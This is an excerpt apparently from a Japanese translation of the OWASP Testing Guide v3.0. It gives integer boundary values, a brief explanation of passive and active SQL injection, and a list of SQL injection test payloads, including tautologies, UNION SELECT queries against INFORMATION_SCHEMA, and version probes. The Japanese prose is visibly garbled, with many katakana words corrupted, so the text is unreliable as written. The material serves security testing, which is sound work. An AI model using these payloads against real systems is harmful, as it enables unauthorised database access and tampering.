OWASP テスティングガイド

OWASP Testing Guide v3.0
0x7ffffffe
0x7fffffff
0x80000000
0xfffffffe
0xffffffff
0x10000
0x100000
SQL アンヱジェクシュンヱ
この 攻 撃 は、アプヨクーサュヱのデーソプーシ 層 に 影 響 し、SQL 文 においてヤーゴの 入 力 がフィラソされていないときに、 一
般 的 には 発 生 します。
SQL イヱザェキサュヱにテシトについての 詳 細 は、SQL イヱザェキサュヱに 対 するテシトのスキサュヱを 見 てください。
SQL イヱザェキサュヱは、デーソプーシの 情 報 が 公 開 される( 受 動 的 'か、それとも、デーソプーシの 情 報 が 変 更 される( 能 動
的 'かによって、 次 のような 2 つのォテゲヨに 分 類 されます。
• 受 動 的 SQL イヱザェキサュヱ
• 能 動 的 SQL イヱザェキサュヱ
能 動 的 SQL イヱザェキサュヱの 文 は、もし 実 行 が 成 功 したら、 下 層 のデーソプーシに 決 定 的 な 影 響 があります。
受 動 的 SQL インジェクション(SQP;PASSIVE SQL INJECTION)
'||(elt(-3+5,bin(15),ord(10),hex(char(45))))
||6
'||'6
(||6)
' OR 1=1--
OR 1=1
' OR '1'='1
; OR '1'='1'
%22+or+isnull%281%2F0%29+%2F*
%27+OR+%277659%27%3D%277659
%22+or+isnull%281%2F0%29+%2F*
%27+--+
' or 1=1--
" or 1=1--
' or 1=1 /*
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
Admin' OR '
'%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--
) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;
' having 1=1--
' having 1=1--
' group by userid having 1=1--
' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')-
-
' or 1 in (select @@version)--
' union all select @@version--
' OR 'unusual' = 'unusual'
' OR 'something' = 'some'+'thing'
359